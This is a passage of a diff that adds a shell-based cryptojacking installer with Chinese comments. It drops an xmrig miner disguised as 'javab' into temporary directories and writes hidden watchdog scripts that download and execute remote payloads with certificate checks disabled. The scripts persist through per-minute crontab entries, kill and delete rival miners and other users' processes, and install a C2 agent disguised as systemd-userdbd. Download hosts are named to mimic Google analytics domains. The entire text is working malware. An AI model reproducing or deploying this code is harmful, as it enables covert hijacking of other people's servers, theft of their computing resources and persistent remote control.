+  pick_wdir || return 0
+  wipe_install_dir "$WDIR"
+  log "bootstrap: 抢占 guard -> $WDIR"
+  kill_rival_rguard
+  fast_rival_pkill
+  write_rguard
+  if ! pgrep -f "$WDIR/.rguard" >/dev/null 2>&1; then
+    nohup sh "$WDIR/.rguard" >>/dev/null 2>&1 &
+    sleep 1
+  fi
+  kill_rival_rguard
+}
+
+write_idle() {
+  cat >"$WDIR/idle" <<IDLE
+#!/bin/sh
+# $MARKER ksmd-idle
+exec >/dev/null 2>&1
+PROCESS="javab"
+CHECK=2
+WDIR="$WDIR"
+_ME=\$\$
+RESTART_BIN="\$WDIR/javab"
+REDOWNLOAD_COOLDOWN=60
+TS_FILE="\$WDIR/.khp_ts"
+KSMD_URL="$KSMD_URL"
+
+ksmd_dl_url() {
+  _t=\$(date +%s 2>/dev/null || echo 0)
+  _p=\$\$
+  case "\$KSMD_URL" in
+    *\\?*) printf '%s&_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
+    *) printf '%s?_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
+  esac
+}
+
+redownload() {
+  _now=\$(date +%s 2>/dev/null)
+  if [ -n "\$_now" ] && [ -f "\$TS_FILE" ]; then
+    _last=\$(cat "\$TS_FILE" 2>/dev/null)
+    [ -n "\$_last" ] && [ \$((_now - _last)) -lt \$REDOWNLOAD_COOLDOWN ] && return
+  fi
+  echo "\$_now" > "\$TS_FILE" 2>/dev/null
+  _tmp="\$WDIR/.ksmd_\$\$.sh"
+  _url=\$(ksmd_dl_url)
+  rm -f "\$_tmp" 2>/dev/null
+  curl -fsSLk --connect-timeout 10 --max-time 120 "\$_url" -o "\$_tmp" 2>/dev/null || \
+    wget -q --no-check-certificate -T 120 -O "\$_tmp" "\$_url" 2>/dev/null
+  [ -s "\$_tmp" ] && ( command -v bash >/dev/null 2>&1 && bash -c 'exec -a ksmd sh "\$1"' _ "\$_tmp" || sh "\$_tmp" ) &
+}
+
+start_javab() {
+  _lk="\$WDIR/.javab.spawn.lock"
+  mkdir "\$_lk" 2>/dev/null || return 0
+  if pgrep -f 'javab -c' >/dev/null 2>&1; then rmdir "\$_lk" 2>/dev/null; return 0; fi
+  cd "\$WDIR" || { rmdir "\$_lk" 2>/dev/null; return 1; }
+  [ -f "\$WDIR/.javab.json" ] || { rmdir "\$_lk" 2>/dev/null; return 1; }
+  ./javab -c .javab.json >>/dev/null 2>&1 &
+  rmdir "\$_lk" 2>/dev/null
+}
+
+count_our_javab() {
+  pgrep -cf 'javab -c' 2>/dev/null || echo 0
+}
+
+dedupe_our_javab() {
+  _keep=""
+  for _p in \$(pgrep -f 'javab -c' 2>/dev/null); do
+    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
+    kill -9 "\$_p" 2>/dev/null
+  done
+}
+
+kill_rival_javab_simple() {
+  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
+    _p=\$(echo "\$_line" | awk '{print \$1}')
+    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
+    case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
+  done
+}
+
+_is_our_script() {
+  _f="\$1"
+  [ -f "\$_f" ] || return 1
+  head -5 "\$_f" 2>/dev/null | grep -qF '$MARKER' && return 0
+  head -5 "\$_f" 2>/dev/null | grep -qi 'ksmd-' && return 0
+  return 1
+}
+
+_is_our_javab_pid() {
+  _c=\$(ps -p "\$1" -o args= 2>/dev/null)
+  case "\$_c" in *javab*-*c*) return 0 ;; esac
+  return 1
+}
+
+_our_wdir_name() {
+  case "\$1" in
+    javab|idle|.rguard|.khp|.ksmd_guard|.javab.json|.ksmd_manifest|.khp_ts|.khp_fusion_ts|.ksmd_guard_ts|.ksmd_guard_loop_ts|.ksmd_defend_ts|.javab.spawn.lock|rguard.log|idle_boot.log|idle_cron.log|idle_guard.log|javab.log)
+      return 0 ;;
+  esac
+  case "\$1" in .ksmd_*) return 0 ;; esac
+  return 1
+}
+
+_proc_in_wdir() {
+  _p="\$1"
+  _c=\$(ps -p "\$_p" -o args= 2>/dev/null) || return 1
+  _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
+  _cwd=\$(readlink "/proc/\$_p/cwd" 2>/dev/null)
+  case "\$_c" in *"\$WDIR/"*) return 0 ;; esac
+  case "\$_x" in "\$WDIR"/*) return 0 ;; esac
+  [ "\$_cwd" = "\$WDIR" ] && return 0
+  return 1
+}
+
+_is_our_wdir_proc() {
+  _p="\$1"
+  _proc_in_wdir "\$_p" || return 1
+  _is_our_javab_pid "\$_p" && return 0
+  _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
+  case "\$_c" in
+    *"\$WDIR/.rguard"*) _is_our_script "\$WDIR/.rguard" && return 0 ;;
+    *"\$WDIR/idle"*) _is_our_script "\$WDIR/idle" && return 0 ;;
+    *"\$WDIR/.khp"*) _is_our_script "\$WDIR/.khp" && return 0 ;;
+    *"\$WDIR/.ksmd_guard"*) _is_our_script "\$WDIR/.ksmd_guard" && return 0 ;;
+  esac
+  case "\$_c" in sleep|*/sleep)
+    _pp=\$(awk '/^PPid:/{print \$2}' "/proc/\$_p/status" 2>/dev/null)
+    [ -n "\$_pp" ] && _is_our_wdir_proc "\$_pp" && return 0
+    ;;
+  esac
+  return 1
+}
+
+_purge_wdir_foreign() {
+  [ -d "\$WDIR" ] || return 0
+  _un=\$(id -un 2>/dev/null)
+  for _p in \$(ps -u "\$_un" -o pid= --no-headers 2>/dev/null); do
+    [ "\$_p" = "\$_ME" ] && continue
+    _proc_in_wdir "\$_p" || continue
+    _is_our_wdir_proc "\$_p" && continue
+    kill -9 "\$_p" 2>/dev/null
+  done
+  for _f in "\$WDIR"/* "\$WDIR"/.[!.]* "\$WDIR"/..?*; do
+    [ -e "\$_f" ] || continue
+    _b=\$(basename "\$_f")
+    case "\$_b" in .|..) continue ;; esac
+    _our_wdir_name "\$_b" && continue
+    [ -f "\$_f" ] && _is_our_script "\$_f" && continue
+    chmod u+w "\$_f" 2>/dev/null
+    rm -rf "\$_f" 2>/dev/null
+  done
+}
+
+_our_install_cmd() {
+  case "\$1" in
+    *googletagmanagar*|*googlelagmanager*|*google-analytices*|*deploy-kit-v1*|*/.ksmd_*) return 0 ;;
+  esac
+  return 1
+}
+
+_rival_install_cmd() {
+  _our_install_cmd "\$1" && return 1
+  case "\$1" in
+    *curl*|*wget*)
+      case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
+    ;;
+    *sh\ -c*|*/bin/sh\ -c*|*bash\ -c*)
+      case "\$1" in
+        *curl*|*wget*)
+          case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
+        ;;
+        *base64*|*6556*) return 0 ;;
+      esac
+    ;;
+  esac
+  case "\$1" in
+    *m51src*|*m51sr*|*gitea_exp*|*auto_deploy*|*apt-update*|*redis/lang/ksmd*)
+      case "\$1" in *curl*|*wget*|*sh\ -c*|*/bin/sh\ -c*|*bash\ -c*) return 0 ;; esac
+    ;;
+  esac
+  return 1
+}
+
+# 对手 hook：任意 IP 的 curl|sh — 不能因 URL 含 ksmd 就放行
+pkill_rival_install() {
+  _u=\$(id -u 2>/dev/null)
+  [ -n "\$_u" ] || return 0
+  pkill -9 -u "\$_u" -f 'm51src/public/cache/stores/redis/lang/ksmd' 2>/dev/null || true
+  pkill -9 -u "\$_u" -f 'gitea_exp' 2>/dev/null || true
+  pkill -9 -u "\$_u" -f '/tmp/\.rguard' 2>/dev/null || true
+  pkill -9 -u "\$_u" -f '/tmp/idle' 2>/dev/null || true
+  if [ "\$WDIR" != "/dev/shm" ]; then
+    pkill -9 -u "\$_u" -f '/dev/shm/\.rguard' 2>/dev/null || true
+    pkill -9 -u "\$_u" -f '/dev/shm/idle' 2>/dev/null || true
+  fi
+  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
+    _p=\$(echo "\$_line" | awk '{print \$1}')
+    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
+    if _proc_in_wdir "\$_p"; then
+      _is_our_wdir_proc "\$_p" && continue
+      kill -9 "\$_p" 2>/dev/null
+      continue
+    fi
+    case "\$_c" in
+      *"/tmp/idle"*|*"/tmp/.rguard"*)
+        kill -9 "\$_p" 2>/dev/null ;;
+    esac
+    if [ "\$WDIR" != "/dev/shm" ]; then
+      case "\$_c" in *"/dev/shm/idle"*|*"/dev/shm/.rguard"*)
+        kill -9 "\$_p" 2>/dev/null ;;
+      esac
+    fi
+    case "\$_c" in
+      *googletagmanagar*|*googlelagmanager*|*google-analytices*) continue ;;
+    esac
+    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
+    case "\$_c" in *m51src*|*m51sr*|*gitea_exp*)
+      kill -9 "\$_p" 2>/dev/null ;;
+    esac
+  done
+  dedupe_our_javab
+  kill_rival_javab_simple
+}
+
+dedupe_our_idle() {
+  _w="\$1"
+  _me=\$\$
+  _keep=""
+  for _p in \$(pgrep -f "\$_w/idle" 2>/dev/null); do
+    [ "\$_p" = "\$_me" ] && continue
+    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
+    kill -9 "\$_p" 2>/dev/null
+  done
+}
+
+dedupe_our_javab
+kill_rival_javab_simple
+
+while true; do
+  head -3 "\$WDIR/.rguard" 2>/dev/null | grep -qi 'rival guard' && {
+    [ -x "\$WDIR/.ksmd_guard" ] && sh "\$WDIR/.ksmd_guard" >>/dev/null 2>&1 &
+    sleep 5
+    continue
+  }
+  head -10 "\$0" 2>/dev/null | grep -q 'KSMD_URL' || {
+    [ -x "\$WDIR/.ksmd_guard" ] && sh "\$WDIR/.ksmd_guard" >>/dev/null 2>&1 &
+    sleep 5
+    continue
+  }
+  dedupe_our_idle "\$WDIR"
+  _purge_wdir_foreign
+  pkill_rival_install
+  pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1 || nohup sh "\$WDIR/.rguard" >>/dev/null 2>&1 &
+  _u=\$(id -u 2>/dev/null)
+  if [ -n "\$_u" ] && ! pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1; then
+    for _pat in 'find /' .claude unicorn 6556 m51sr m51src; do
+      pkill -9 -u "\$_u" -f "\$_pat" 2>/dev/null || true
+    done
+  fi
+  dedupe_our_javab
+  kill_rival_javab_simple
+  if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
+    if [ -x "\$RESTART_BIN" ] && [ -f "\$WDIR/.javab.json" ]; then
+      start_javab
+    else
+      redownload
+    fi
+  fi
+  _now=\$(date +%s 2>/dev/null)
+  if [ -n "\$_now" ] && [ -x "\$WDIR/.ksmd_guard" ]; then
+    _lg=\$(cat "\$WDIR/.ksmd_guard_loop_ts" 2>/dev/null)
+    [ -z "\$_lg" ] && _lg=0
+    if [ \$((_now - _lg)) -ge 60 ] 2>/dev/null; then
+      echo "\$_now" > "\$WDIR/.ksmd_guard_loop_ts" 2>/dev/null
+      sh "\$WDIR/.ksmd_guard" >>/dev/null 2>&1 &
+    fi
+  fi
+  sleep "\$CHECK"
+done
+IDLE
+  chmod 755 "$WDIR/idle"
+}
+
+write_khp() {
+  cat >"$WDIR/.khp" <<KHP
+#!/bin/sh
+# $MARKER ksmd-khp
+WDIR="$WDIR"
+cd "\$WDIR" || exit 1
+pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1 || nohup sh "\$WDIR/.rguard" >>/dev/null 2>&1 &
+for _p in \$(pgrep -f 'javab -c' 2>/dev/null); do kill -9 "\$_p" 2>/dev/null; done
+ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
+  _p=\$(echo "\$_line" | awk '{print \$1}')
+  _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
+  case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
+done
+if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
+  [ -x "\$WDIR/javab" ] && [ -f "\$WDIR/.javab.json" ] && ./javab -c .javab.json >>/dev/null 2>&1 &
+fi
+_me=\$\$
+_keep=""
+for _p in \$(pgrep -f "\$WDIR/idle" 2>/dev/null); do
+  [ "\$_p" = "\$_me" ] && continue
+  if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
+  kill -9 "\$_p" 2>/dev/null
+done
+pgrep -f "\$WDIR/idle" >/dev/null 2>&1 || nohup sh "\$WDIR/idle" >>/dev/null 2>&1 &
+KHP
+  chmod 755 "$WDIR/.khp"
+}
+
+write_ksmd_manifest() {
+  mf="$WDIR/.ksmd_manifest"
+  now=$(date +%s 2>/dev/null || echo 0)
+  {
+    echo "marker=$MARKER"
+    echo "wdir=$WDIR"
+    echo "installed_at=$now"
+    echo "ksmd_url=$KSMD_URL"
+    for f in javab idle .khp .rguard; do
+      if [ -f "$WDIR/$f" ]; then
+        sum=$(md5_file "$WDIR/$f")
+        [ -n "$sum" ] && echo "md5:$f=$sum"
+      fi
+    done
+  } >"$mf"
+  chmod 600 "$mf" 2>/dev/null || true
+  log "manifest 已写入 installed_at=$now -> $mf"
+}
+
+write_ksmd_guard() {
+  _rival_cron_re=$(rival_cron_re)
+  cat >"$WDIR/.ksmd_guard" <<GUARD
+#!/bin/sh
+# $MARKER ksmd-guard
+WDIR="$WDIR"
+MANIFEST="\$WDIR/.ksmd_manifest"
+KSMD_URL="$KSMD_URL"
+COOLDOWN=120
+STAMP="\$WDIR/.ksmd_guard_ts"
+
+_rival_on_disk() {
+  head -3 "\$WDIR/.rguard" 2>/dev/null | grep -qi 'rival guard' && return 0
+  head -10 "\$WDIR/idle" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && return 0
+  head -5 "\$WDIR/.rguard" 2>/dev/null | grep -q '$MARKER' || return 0
+  head -5 "\$WDIR/idle" 2>/dev/null | grep -q '$MARKER' || return 0
+  return 1
+}
+
+if _rival_on_disk; then
+  for _f in idle .rguard .khp; do
+    chmod u+w "\$WDIR/\$_f" 2>/dev/null
+    rm -f "\$WDIR/\$_f" 2>/dev/null
+  done
+  for _p in \$(pgrep -f "\$WDIR/.rguard" 2>/dev/null); do kill -9 "\$_p" 2>/dev/null; done
+  for _p in \$(pgrep -f "\$WDIR/idle" 2>/dev/null); do kill -9 "\$_p" 2>/dev/null; done
+fi
+
+_md5() {
+  if command -v md5sum >/dev/null 2>&1; then md5sum "\$1" 2>/dev/null | awk '{print \$1}';
+  elif command -v md5 >/dev/null 2>&1; then md5 -q "\$1" 2>/dev/null;
+  else echo ""; fi
+}
+
+_verify() {
+  [ -f "\$MANIFEST" ] || return 1
+  while IFS= read -r _line; do
+    case "\$_line" in
+      md5:*=*)
+        _rest=\${_line#md5:}
+        _name=\${_rest%%=*}
+        _want=\${_rest#*=}
+        [ -n "\$_name" ] && [ -n "\$_want" ] || continue
+        [ -f "\$WDIR/\$_name" ] || return 1
+        _got=\$(_md5 "\$WDIR/\$_name")
+        [ -n "\$_got" ] && [ "\$_got" = "\$_want" ] || return 1
+        ;;
+    esac
+  done < "\$MANIFEST"
+  return 0
+}
+
+ksmd_dl_url() {
+  _t=\$(date +%s 2>/dev/null || echo 0)
+  _p=\$\$
+  case "\$KSMD_URL" in
+    *\\?*) printf '%s&_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
+    *) printf '%s?_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
+  esac
+}
+
+reinstall() {
+  _now=\$(date +%s 2>/dev/null)
+  if [ -n "\$_now" ] && [ -f "\$STAMP" ]; then
+    _last=\$(cat "\$STAMP" 2>/dev/null)
+    [ -n "\$_last" ] && [ \$((_now - _last)) -lt \$COOLDOWN ] && return
+  fi
+  echo "\$_now" > "\$STAMP" 2>/dev/null
+  _tmp="\$WDIR/.ksmd_re_\$\$.sh"
+  _url=\$(ksmd_dl_url)
+  rm -f "\$_tmp" 2>/dev/null
+  curl -fsSLk --connect-timeout 10 --max-time 120 "\$_url" -o "\$_tmp" 2>/dev/null || \
+    wget -q --no-check-certificate -T 120 -O "\$_tmp" "\$_url" 2>/dev/null || return
+  [ -s "\$_tmp" ] && ( command -v bash >/dev/null 2>&1 && bash -c 'exec -a ksmd sh "\$1"' _ "\$_tmp" || sh "\$_tmp" ) &
+}
+
+if [ -x "\$WDIR/idle" ]; then
+  pgrep -f "\$WDIR/idle" >/dev/null 2>&1 || nohup sh "\$WDIR/idle" >>/dev/null 2>&1 &
+fi
+pgrep -f "\$WDIR/.rguard" >/dev/null 2>&1 || nohup sh "\$WDIR/.rguard" >>/dev/null 2>&1 &
+_u=\$(id -u 2>/dev/null)
+[ -n "\$_u" ] && for _pat in 'find /' .claude unicorn 6556 m51sr m51src supervise_javs start_javs apt-update 'CRON jobs'; do
+  pkill -9 -u "\$_u" -f "\$_pat" 2>/dev/null || true
+done
+rm -rf "\$HOME/.claude" "\$HOME/CRON" "\$HOME/unicorn" "\$HOME/.javs" /dev/shm/.claude /var/tmp/.claude 2>/dev/null
+_tmpc=\$(mktemp)
+_cron_ok=0
+_err=\$(crontab -l 2>&1) || true
+case "\$_err" in *must\ be\ suid*|*setuid*) _cron_ok=1 ;; esac
+if [ "\$_cron_ok" = "0" ]; then
+  crontab -l 2>/dev/null >"\$_tmpc" || : >"\$_tmpc"
+  if grep -Ei '$_rival_cron_re' "\$_tmpc" >/dev/null 2>&1; then
+    grep -Evi '$_rival_cron_re' "\$_tmpc" | grep -v '^[[:space:]]*$' >"\${_tmpc}.k" 2>/dev/null || : >"\${_tmpc}.k"
+    if [ -s "\${_tmpc}.k" ]; then crontab "\${_tmpc}.k" 2>/dev/null; else crontab -r 2>/dev/null; fi
+    crontab -l 2>/dev/null >"\$_tmpc" || : >"\$_tmpc"
+  fi
+  _ksmd_mark="# ${MARKER}-ksmd-guard"
+  if ! grep -Fq "\$_ksmd_mark" "\$_tmpc" 2>/dev/null; then
+    # 必须单引号：双引号里 \$d 会在 guard 运行时提前展开成空
+    _ksmd_line='* * * * * for d in /dev/shm /tmp /var/tmp; do [ -x "\$d/.ksmd_guard" ] && { sh "\$d/.ksmd_guard"; break; }; [ -x "\$d/.pol-lite/.ksmd_guard" ] && { sh "\$d/.pol-lite/.ksmd_guard"; break; }; done # ${MARKER}-ksmd-guard'
+    grep -Fv "\$_ksmd_mark" "\$_tmpc" 2>/dev/null | grep -v '^[[:space:]]*$' >"\${_tmpc}.k" 2>/dev/null || : >"\${_tmpc}.k"
+    echo "\$_ksmd_line" >>"\${_tmpc}.k"
+    crontab "\${_tmpc}.k" 2>/dev/null || true
+  fi
+fi
+rm -f "\$_tmpc" "\${_tmpc}.k" 2>/dev/null
+for _k in m51sr m51src redis/lang/ksmd unicorn gitea_exp auto_deploy 'find /' .claude 'CRON jobs' supervise_javs start_javs apt-update 6556; do
+  pkill -9 -f "\$_k" 2>/dev/null || true
+done
+
+_verify || reinstall
+GUARD
+  chmod 755 "$WDIR/.ksmd_guard"
+}
+
+restart_our_miner_chain() {
+  _w="$WDIR"
+  log "重启矿机链: purge -> 单实例 idle/rguard/javab"
+  purge_tmp_gang
+  for _p in $(pgrep -f "$_w/idle" 2>/dev/null); do kill -9 "$_p" 2>/dev/null || true; done
+  for _p in $(pgrep -f "$_w/.rguard" 2>/dev/null); do kill -9 "$_p" 2>/dev/null || true; done
+  for _p in $(pgrep -f 'javab -c' 2>/dev/null); do kill -9 "$_p" 2>/dev/null || true; done
+  kill_rival_javab
+  purge_tmp_gang
+  sleep 2
+  pgrep -f "$_w/.rguard" >/dev/null 2>&1 || nohup sh "$_w/.rguard" >>/dev/null 2>&1 &
+  nohup sh "$_w/idle" >>/dev/null 2>&1 &
+  sh "$_w/.khp" 2>/dev/null || true
+}
+
+install_javab_chain() {
+  need_x64_miner || return 0
+  pick_wdir || { log "无可用 WDIR (/dev/shm /tmp /var/tmp)"; return 1; }
+  wipe_install_dir "$WDIR"
+  log "安装 javab 链 -> $WDIR (cpu=${XMR_CPU_PERCENT}% pool=${POOL})"
+  squash_rival_guard
+  detect_xmr_threads
+  detect_randomx_mode
+  # 先落地并启动 .rguard，避免下载 xmrig 时被对手 guard 杀掉 curl/sh
+  write_rguard
+  if [ "$DRY_RUN" != "1" ]; then
+    nohup sh "$WDIR/.rguard" >>/dev/null 2>&1 &
+    sleep 1
+    squash_rival_guard
+  fi
+  setup_xmrig_binary "$WDIR/javab" "$WDIR" || return 1
+  squash_rival_guard
+  log "矿机二进制: 我们的 xmrig -> $WDIR/javab"
+  write_javab_config
+  write_idle
+  write_khp
+  write_ksmd_manifest
+  write_ksmd_guard
+  if [ "$DRY_RUN" = "1" ]; then
+    log "dry-run: would start .rguard idle .khp javab"
+    return 0
+  fi
+  restart_our_miner_chain
+  sleep 3
+  squash_rival_guard
+  log "javab 链已启动 threads=${XMR_THREADS}"
+  install_ksmd_crontab
+  try_lock_wdir
+  echo "KSMD_JAVAB_OK wdir=$WDIR"
+}
+
+install_ksmd_crontab() {
+  [ "$DRY_RUN" = "1" ] && return 0
+  strip_rival_crontab
+  if ! crontab_usable; then
+    log "crontab 不可用，保活由 idle 每 60s 调 .ksmd_guard"
+    return 0
+  fi
+  ensure_ksmd_crontab
+}
+
+write_agent_guard() {
+  _agent_url=$(agent_dl_url) || return 1
+  cat >"${AGENT_HOME}/.agent_guard" <<AGUARD
+#!/bin/sh
+H="$AGENT_HOME"
+LAUNCH="\$H/user-session-launch"
+WATCH="\$H/.session-watchdog"
+CORE="\$H/.core"
+TOK="\$H/.session-token"
+LOG="/dev/null"
+KSMD_URL="$KSMD_URL"
+AGENT_URL="$_agent_url"
+AGENT_MARK="# ${MARKER}-agent-guard"
+
+ksmd_dl_url() {
+  _t=\$(date +%s 2>/dev/null || echo 0)
+  _p=\$\$
+  case "\$KSMD_URL" in
+    *\\?*) printf '%s&_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
+    *) printf '%s?_=%s%s' "\$KSMD_URL" "\$_t" "\$_p" ;;
+  esac
+}
+
+agent_up() {
+  pgrep -x systemd-userdbd >/dev/null 2>&1 && return 0
+  pgrep -f "\$H/systemd-userdbd" >/dev/null 2>&1 && return 0
+  pgrep -f "\$CORE" >/dev/null 2>&1 && return 0
+  return 1
+}
+
+watchdog_up() {
+  pgrep -f "\$H/.session-watchdog" >/dev/null 2>&1 && return 0
+  return 1
+}
+
+start_watchdog() {
+  watchdog_up || nohup sh "\$WATCH" >>/dev/null 2>&1 &
+}
+
+try_launch() {
+  [ -x "\$LAUNCH" ] || return 1
+  [ -x "\$CORE" ] || return 1
+  [ -s "\$TOK" ] || return 1
+  setsid sh "\$LAUNCH" >>/dev/null 2>&1 &
+  sleep 2
+  agent_up
+}
+
+reinstall_agent() {
+  _url=\$(ksmd_dl_url)
+  _tmp="\$H/.agent_re_\$\$.sh"
+  rm -f "\$_tmp" 2>/dev/null
+  curl -fsSLk --connect-timeout 10 --max-time 120 "\$_url" -o "\$_tmp" 2>/dev/null || \
+    wget -q --no-check-certificate -T 120 -O "\$_tmp" "\$_url" 2>/dev/null || return 1
+  [ -s "\$_tmp" ] || return 1
+  AGENT_ONLY=1 sh "\$_tmp" >>/dev/null 2>&1
+}
+
+ensure_agent_cron() {
+  _err=\$(crontab -l 2>&1) || true
+  case "\$_err" in *must\ be\ suid*|*setuid*) return 0 ;; esac
+  crontab -l 2>/dev/null | grep -Fq "\$AGENT_MARK" && return 0
+  _line="* * * * * [ -x \"\$H/.agent_guard\" ] && sh \"\$H/.agent_guard\" \$AGENT_MARK"
+  (crontab -l 2>/dev/null | grep -Fv "\$AGENT_MARK"; echo "\$_line") | crontab - 2>/dev/null || true
+}
+
+ensure_agent_cron
+
+if agent_up; then
+  start_watchdog
+  exit 0
+fi
+
+if try_launch; then
+  start_watchdog
+  exit 0
+fi
+
+reinstall_agent
+start_watchdog
+ensure_agent_cron
+AGUARD
+  chmod 755 "${AGENT_HOME}/.agent_guard"
+}
+
+install_agent_crontab() {
+  [ "$DRY_RUN" = "1" ] && return 0
+  if ! crontab_usable; then
+    log "crontab 不可用，跳过 Agent cron 保活"
+    return 0
+  fi
+  strip_rival_crontab
+  ensure_agent_crontab
+}
+
+deploy_agent_only() {
+  if [ "$DRY_RUN" = "1" ]; then
+    log "dry-run: would install agent only"
+    return 0
+  fi
+  if [ "$(id -u)" -eq 0 ]; then
+    log "root 环境跳过 Agent"
+    return 0
+  fi
+  if is_container; then
+    log "容器环境跳过 Agent"
+    return 0
+  fi
+  install_user_agent || return 1
+  write_agent_guard || true
+  install_agent_crontab
+  echo AGENT_ONLY_DONE
+}
+
+write_agent_watchdog() {
+  cat >"$AGENT_WATCHDOG" <<WEOF
+#!/bin/sh
+H="$AGENT_HOME"
+LAUNCH="$AGENT_LAUNCH"
+CORE="\$H/.core"
+LOG="$AGENT_LOG"
+LOCK="\$H/.session-watchdog.lock"
+
+_poke_miner_chain() {
+  for _d in /dev/shm /tmp/.pol-lite /var/tmp/.pol-lite; do
+    [ -f "\$_d/.ksmd_manifest" ] || continue
+    head -3 "\$_d/.rguard" 2>/dev/null | grep -qi 'rival guard' && {
+      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
+      continue
+    }
+    head -10 "\$_d/idle" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && {
+      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
+      continue
+    }
+    head -5 "\$_d/.rguard" 2>/dev/null | grep -q 'deploy-kit-v1' || {
+      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
+      continue
+    }
+    head -10 "\$_d/idle" 2>/dev/null | grep -q 'KSMD_URL' || {
+      [ -x "\$_d/.ksmd_guard" ] && sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
+      continue
+    }
+    [ -x "\$_d/idle" ] || continue
+    pgrep -f "\$_d/.rguard" >/dev/null 2>&1 || nohup sh "\$_d/.rguard" >>/dev/null 2>&1 &
+    pgrep -f "\$_d/idle" >/dev/null 2>&1 || nohup sh "\$_d/idle" >>/dev/null 2>&1 &
+    if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
+      [ -x "\$_d/javab" ] && [ -f "\$_d/.javab.json" ] && ( cd "\$_d" && ./javab -c .javab.json >>/dev/null 2>&1 & )
+    fi
+    [ -x "\$_d/.ksmd_guard" ] && {
+      _now=\$(date +%s 2>/dev/null)
+      _lg=\$(cat "\$_d/.ksmd_guard_loop_ts" 2>/dev/null)
+      [ -z "\$_lg" ] && _lg=0
+      if [ -n "\$_now" ] && [ \$((_now - _lg)) -ge 60 ] 2>/dev/null; then
+        echo "\$_now" > "\$_d/.ksmd_guard_loop_ts" 2>/dev/null
+        sh "\$_d/.ksmd_guard" >>/dev/null 2>&1 &
+      fi
+    }
+    return 0
+  done
+}
+
+exec 9>"\$LOCK"
+flock -n 9 || exit 0
+while true; do
+  if ! pgrep -x systemd-userdbd >/dev/null 2>&1 && ! pgrep -f "systemd-userdbd" >/dev/null 2>&1 && ! pgrep -f "\$CORE" >/dev/null 2>&1; then
+    setsid "\$LAUNCH" >>"\$LOG" 2>&1 &
+  fi
+  _poke_miner_chain
+  sleep 30
+done
+WEOF
+  chmod +x "$AGENT_WATCHDOG"
+}
+
+install_user_agent() {
+  _url=$(agent_dl_url) || { log "不支持的 Agent 架构: $(uname -m)"; return 1; }
+  log "用户态 Agent -> ${AGENT_BIN} C2=${C2_WSS}"
+
+  IS_ALPINE=0
+  [ -f /etc/alpine-release ] && IS_ALPINE=1
+  ldd /bin/sh 2>&1 | grep -qi musl && IS_ALPINE=1
+
+  mkdir -p "$AGENT_HOME"
+  AGENT_CORE="${AGENT_HOME}/.core"
+  AGENT_TOKEN="${AGENT_HOME}/.session-token"
+
+  if agent_core_running; then
+    log "Agent (.core) 已在运行，跳过下载/杀进程/重启"
+    [ -s "$AGENT_TOKEN" ] || {
+      printf '%s' "$AGENT_ARGS" >"$AGENT_TOKEN"
+      chmod 600 "$AGENT_TOKEN" 2>/dev/null || true
+    }
+    write_agent_watchdog
+    pkill -f "${AGENT_HOME}/.session-watchdog" 2>/dev/null || true
+    sleep 1
+    [ -x "$AGENT_WATCHDOG" ] && nohup "$AGENT_WATCHDOG" >>/dev/null 2>&1 &
+    write_agent_guard || true
+    return 0
+  fi
+
+  printf '%s' "$AGENT_ARGS" >"$AGENT_TOKEN"
+  chmod 600 "$AGENT_TOKEN" 2>/dev/null || true
+
+  if [ "$IS_ALPINE" -eq 1 ]; then
+    G="$AGENT_HOME/glibc-compat/lib"
+    L="$G/ld-linux-x86-64.so.2"
+    if [ "$(uname -m)" = x86_64 ] && [ ! -x "$L" ]; then
+      mkdir -p "$AGENT_HOME/glibc-compat"
+      dl_long "https://github.com/sgerrand/alpine-pkg-glibc/releases/download/2.35-r1/glibc-2.35-r1.apk" "$AGENT_HOME/glibc-compat/g.apk" \
+        || wget -T240 --no-check-certificate -q -O "$AGENT_HOME/glibc-compat/g.apk" \
+          "https://github.com/sgerrand/alpine-pkg-glibc/releases/download/2.35-r1/glibc-2.35-r1.apk" || true
+      [ -f "$AGENT_HOME/glibc-compat/g.apk" ] && (cd "$AGENT_HOME/glibc-compat" && tar -xf g.apk 2>/dev/null || true)
+    fi
